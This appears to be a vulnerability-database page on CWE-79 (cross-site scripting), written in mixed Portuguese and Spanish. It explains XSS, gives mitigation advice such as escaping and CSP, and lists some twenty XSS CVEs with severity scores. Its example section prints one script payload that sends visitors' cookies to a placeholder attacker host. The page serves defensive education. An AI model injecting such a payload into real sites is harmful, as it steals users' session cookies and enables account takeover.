Fallos del tipo CWE-79

29.285 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-28722MEDIUMCross Site Scripting vulnerability in Innovaphone myPBX v.14r1, v.13r3, v.12r2 allows a remote attacker to execute arbitrary code via the quEPSS 0.5%CVE-2022-44576MEDIUMWordPress AgentEasy Properties plugin <= 1.0.4 - Auth. Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2024-39307LOWCross-Site Scripting (XSS) vulnerability via crafted ebooks in KavitaEPSS 0.5%CVE-2022-44628MEDIUMWordPress 4ECPS Web Forms plugin <= 0.2.17 - Auth. Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2024-56361MEDIUMStored Cross-Site Scripting (XSS) in lgsl v7.0EPSS 0.5%CVE-2025-7946MEDIUMPHPGurukul Apartment Visitors Management System HTTP POST Request search-visitor.php cross site scriptingEPSS 0.5%CVE-2022-36428MEDIUMWordPress Rock Convert plugin <= 2.11.0 - Auth. Cross-Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2023-3980MEDIUMCross-site Scripting (XSS) - Stored in omeka/omeka-sEPSS 0.5%CVE-2022-44586MEDIUMWordPress AM-HiLi plugin <= 1.0 - Auth. Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2024-37160MEDIUMFormwork has a Cross-site scripting (XSS) vulnerability in Description metadataEPSS 0.5%CVE-2023-26120MEDIUMThis affects all versions of the package com.xuxueli:xxl-job. HTML uploaded payload executed successfully through /xxl-job-admin/user/add anEPSS 0.5%CVE-2024-26279MEDIUM[20240704] - Core - XSS in Wrapper extensionsEPSS 0.5%CVE-2024-0506MEDIUMElementor Website Builder – More than Just a Page Builder <= 3.18.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via get_image_altEPSS 0.5%CVE-2022-31029MEDIUMAuthenticated XSS in Pi-hole AdminLTEEPSS 0.5%CVE-2024-25219MEDIUMA cross-site scripting (XSS) vulnerability in Task Manager App v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted EPSS 0.5%CVE-2022-40311MEDIUMWordPress Analytics Cat plugin <= 1.0.9 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2024-9803MEDIUMcode-projects Blood Bank Management System blooddetails.php cross site scriptingEPSS 0.5%CVE-2023-5661MEDIUMSocial Feed <= 1.5.4.6 - Authenticated (Author+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2024-48893MEDIUMAn improper neutralization of input during web page generation vulnerability [CWE-79] in FortiSOAR 7.3.0 through 7.3.3, 7.2.1 through 7.2.2 EPSS 0.5%CVE-2024-10348MEDIUMSourceCodester Best House Rental Management System Manage Tenant Details index.php cross site scriptingEPSS 0.5%